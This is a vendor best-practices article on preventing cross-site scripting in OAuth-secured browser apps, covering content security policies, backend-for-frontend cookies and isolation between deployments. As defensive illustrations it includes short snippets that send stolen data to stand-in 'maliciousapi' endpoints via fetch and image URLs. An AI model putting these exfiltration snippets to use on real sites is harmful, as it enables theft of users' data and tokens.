Best practices for preventing XSS threats in browser based apps

Best Practices - OAuth and XSS Prevention

On this page

When you run an OAuth architecture, APIs manage access control and the authorization server implements user authentication. On the web side of the architecture, injection is the main security concern. In particular, you must protect against the threat of malicious JavaScript, otherwise known as Cross Site Scripting (XSS). When an XSS exploit runs, malicious code can run any logic it wants, and backend components cannot distinguish between your application's genuine code and the malicious code.

This article takes a closer look at ways attackers can try to mount injection attacks against your OAuth-secured web applications and provides practical advice on ways to mitigate threats. The content first summarizes the importance of preventing XSS, and then shows how the browser's built-in defenses can prevent data exfiltration if there is an exploit. Finally, the article explains some threats that you cannot protect against. Therefore, ensure that your browser-based apps run with least privilege.

Make XSS Prevention a Priority

These days, XSS prevention must be part of the web development fabric. All developers should be aware of documents that the Open Web Application Security Project (OWASP) provides, like the Cross Site Scripting Prevention Cheat Sheet and the DOM based XSS Prevention Cheat Sheet. Web applications must write secure code to validate and sanitize variables.

  • The frontend must validate user input.
  • APIs must reject invalid strings that could lead to XSS in frontends.
  • The frontend must safely encode data received from APIs.

Web developers must also take steps to ensure that malicious code cannot execute in their application. Malicious code could run within the frontend of a browser-based application in multiple ways.

  • A vulnerability could enable injected code to download and run scripts from a malicious host.
  • An attacker could provide a library dependency that contains malicious code.
  • An attacker could try to update the code of popular dependencies with malicious code.

Therefore, as well as XSS prevention in your own code, take additional steps. Web hosts can set Web Security Headers to limit the code the browser runs. In particular, use a strong Content Security Policy (CSP) to only allow resources to load from the web origin. Use browser-detection techniques to prevent very old browsers, that do not meet your minimum CSP requirements, from running your web application.

The following pseudo-code shows a web host setting a restrictive CSP, where script-src only allows scripts from the web application's origin. The CSP also applies equivalent restrictions on other resources, like images and stylesheets.

javascript
123456789
let policy = "default-src 'none';";
policy += " script-src 'self';";
policy += " img-src 'self';";
policy += " style-src 'self';";
policy += ` font-src 'self';`;
policy += " base-uri 'self';";
policy += " form-action 'self';";
policy += " connect-src 'self';";
response.setHeader('content-security-policy', policy);

If you allow resources from shared third-party origins, think through the associated threats. For example, an attacker might be able to place their own malicious scripts on such an origin, so that an XSS exploit could download and run those scripts within your web application. In such cases, consider a Strict CSP to restrict allowed scripts in a more precise way.

Use sites like Mozilla's HTTP Observatory to stay up to date with the best web protections. Consider using automated tests that provide early detection of broken CSPs, for example due to a typo.

The CSP does not prevent XSS if your app uses compromised library dependencies. Therefore, limit the number of libraries you use in web applications, and aim to use only respected mainstream dependencies. Frequently run vulnerability scans that cover the code of your application and its library dependencies, and stay up to date with any security fixes.

It is possible at some point that your app could become vulnerable to XSS threats. If an attacker exploits a vulnerability you need to limit the impact. To do so, implement the second stage of XSS development, to prevent data exfiltration.

Prevent Data Exfiltration

When there is an XSS exploit, use the browser's built-in defenses to limit the impact. The result should be that only session-riding attacks are possible. In a session-riding attack, malicious code may be able to perform actions like intercepting your data or making its own requests to APIs to get data. However, the malicious logic should not be able to send data to unauthorized locations, like a malicious host.

Limit External Hosts

A key ingredient to prevent browser data exfiltration is the connect-src CSP property, which limits the external hosts that an exploit can call using fetch requests. For example, a Single Page Application (SPA) should usually restrict its connect-src property to the web host and API endpoints. Consider techniques like automated tests to prove that the browser does not allow data exfiltration to unauthorized hosts.

javascript
1
policy += " connect-src 'self' api.example.com;";

When allowing external hosts, think carefully about the impact of allowing requests to third-party origins. For example, if you use a shared domain from a cloud provider for analytics or logging, the following CSP might initially seem safe.

javascript
1
policy += " connect-src 'self' bff.example.com cloudprovider.example;";

However, in some cases an attacker might be able to host malicious endpoints at a path within the cloud provider and send stolen data there.

javascript
12
const dataToExflitrate = JSON.stringify(stolenData);
fetch('https://cloudprovider.example/maliciousapi?data=' + dataToExflitrate);

In such cases, consider removing the shared origin from the connect-src hosts and routing requests via a backend component like an API gateway. The backend can then perform extra checks, like path validations, before allowing the call to the cloud provider, thus preventing the possibility of such an exploit.

An attacker can potentially use third party hosts in unexpected ways. At first sight it may appear secure for a web application to download images from a third party site like a cloud provider.

javascript
1
policy += " img-src 'self' cloudimageprovider.example;";

However, an attacker may be able to exploit weaknesses in the img-src CSP property to exfiltrate data to a malicious endpoint.

javascript
123
const dataToExflitrate = JSON.stringify(stolenData);
const url = 'https://cloudimageprovider.example/maliciousapi?data=' + dataToExflitrate;
document.getElementById('root').append("<img src='" + url + "' />");

Use Secure Cookies to Call APIs

You can design a Single Page Application (SPA) to use frontend code to get OAuth access tokens and send them directly to APIs. However, there are multiple ways in which an attacker could read or intercept tokens. The Best Practices - OAuth for Single Page Applications article explains more about these threats.

If the CSP ever allows it, an XSS exploit could exflitrate tokens to a malicious host. Such a host could mount an attack against your APIs that continues for a long time after the user finishes interacting with the browser. For best security, SPAs should instead use HTTP Only cookies, another built-in defense that the browser provides, to transport access tokens to APIs. Since an XSS exploit is unable to read HTTP Only cookies, it cannot exflitrate them to a malicious host.

A backend for frontend (BFF) issues the HTTP Only cookies. The BFF pattern is explained in the OAuth for Browser-Based Applications document. Even if you are confident that your CSP prevents token exfiltration, consider the perception among security stakeholders, which may include business partners in some cases. The BFF security pattern is widely understood these days, and stakeholders may expect you to use it.

Understand Code Flow XSS Attacks

Exploits against HTTP Only cookies are also possible, though they require more sophisticated attacks than those that simply read access tokens. If there is an XSS exploit in a web application, malicious code can do anything your application can do. When using OAuth, an XSS exploit can run an entire code flow and potentially receive an authorization response. If an attack can exflitrate an authorization response to a malicious host, the host might be able to complete the flow and call your APIs.

If an XSS exploit runs in the origin of the redirect URI it can perform various tricks to get an authorization response. You can read about some examples in the article on Account hijacking using dirty dancing in sign-in OAuth-flows. This category of attack could potentially exploit any login technology and is not specific to OAuth. When there is an XSS exploit in an OAuth-secured frontend, assume that the attacker can get an authorization response and ensure that your CSP prevents exflitration.

If you use a BFF that runs in a different origin to the web application, you can use a BFF redirect URI to prevent the possibility of authorization response exflitration. Consider a web application that runs at https://www.example.com and uses a redirect URI of https://bff.example.com/callback. In this type of deployment, the browser does not allow an XSS exploit to read the authorization response. For example, malicious code cannot read the location property of an iframe that runs content external to the web origin.

Design Secure Deployments

If you deploy multiple web applications, the simplest way to isolate security per application is to use distinct domains per application. More complex deployments are possible but they introduce additional XSS-related threats. This section points out some potential pitfalls with shared hosting.

In some deployments, multiple applications run in the same domain using paths. The following two base URLs share the same domain. That might be an acceptable design if both apps are micro-frontends for the same business area that use the same web security principles.

text
12
https://www.example.com/app1
https://www.example.com/app2

In this type of deployment, an XSS vulnerability impacts all applications in the site. An exploit can traverse paths and run code at any location. The following code uses iframes to run malicious code at a particular path. Therefore, avoid deploying multiple apps using paths if the apps handle data with different levels of sensitivity.

javascript
12345678
const iframe = document.createElement('iframe');
iframe.src = 'https://www.example.com/app2';
document.getElementById('root).appendChild(iframe);
iframe.contentWindow.runMaliciousCode = () => {
console.log('Running code in other application');
};
iframe.contentWindow.runMaliciousCode();

Similarly, there are security risks if you host multiple apps using subdomains of a parent domain.

text
12
https://app1.example.com
https://app2.example.com

In this type of deployment an XSS exploit might be able to use cookies from all subdomains or an attacker might be able to find a way to run a malicious app in the same parent domain and mount a Subdomain Takeover Attack. To mitigate threats, isolate security per subdomain. Consider the following techniques.

  • Assign each subdomain a distinct CSP and avoid the use of wildcard domains like *.example.com.
  • Omit the Domain attribute when issuing cookies and avoid setting parent cookie domains like example.com.
  • Use Cross Origin Resource Sharing (CORS) to restrict the precise subdomains from which hosts accept cookies.

Understand Malware Threats

All of the mainstream browsers support extensions or add-ons, which can inject code to improve the user experience in unsecured web applications like blogs or news sites. If your web application has some public views where you would like to allow plugins to run, consider isolating those views to a separate application and domain. Then, for secured web applications, use the CSP to prevent extensions from running untrusted code.

Developers sometimes run browser extensions that disable some aspects of security. Similarly, attackers could try to update the code of popular browser extensions with malicious code to disable the CSP. Malicious code in browser extensions is similar to an XSS attack except, unlike frontend code, extensions have full access to read and write request and response headers like cookies. In a worst case scenario, a browser extension could perform actions such as the following.

  • Disable the CSP, perhaps by intercepting network requests and removing the content-security-policy header.
  • Intercept data, tokens or cookies and send them to a malicious host.

In reality, normal users typically only install extensions from trusted stores that browser manufacturers provide. Ideally, these stores should run code checks before accepting extensions, or updates to them, and reject any extensions that perform obviously suspicious actions. In the event of known exploits, we would hope that the impact is temporary and a browser update promptly rolls out a security fix to the extension.

Run with Least Privilege

By now you should understand that the browser is a hostile environment for executing code. In some cases, you might develop perfectly secure code but your application, or the user's browser, could be the victim of a supply chain attack. The best mitigation is to run with least privilege. To do so, use the following techniques as part of your browser security strategy.

  • Use scopes and claims to design least-privilege access tokens.
  • Use short-lived tokens and use short-lived cookies to transport access tokens to APIs.

Best Practices Summary

The following list summarizes the main techniques to protect against XSS and related attacks in the browser.

  • During web development, sanitize user input and other data to prevent XSS vulnerabilities.
  • Limit the number of library dependencies and aim to use only mainstream respected ones.
  • Frequently perform code vulnerability scans for early warning of vulnerabilities.
  • Use a strong content security policy to deny access to web resources from untrusted domains.
  • Use the connect-src attribute to limit the external hosts to which the browser can send fetch requests.
  • Deny access to very old browsers that do not meet CSP minimum requirements.
  • Avoid using OAuth tokens in the browser, since tokens have many XSS attack vectors.
  • Use a backend for frontend to issue cookies with which the frontend can transport access tokens to APIs.
  • When deploying multiple web apps, prefer deployments that isolate security per application.
  • Design least-privilege tokens and cookies, to limit the data and operations an exploit can abuse.
  • Design short-lived tokens and cookies, to limit the time of exploits.
Photo of Gary Archer

Gary Archer

Product Marketing Engineer at Curity

Newsletter

Join our Newsletter

Get the latest on identity management, API Security and authentication straight to your inbox.

Newsletter

Start Free Trial

Try the Curity Identity Server for Free. Get up and running in 10 minutes.

Start Free Trial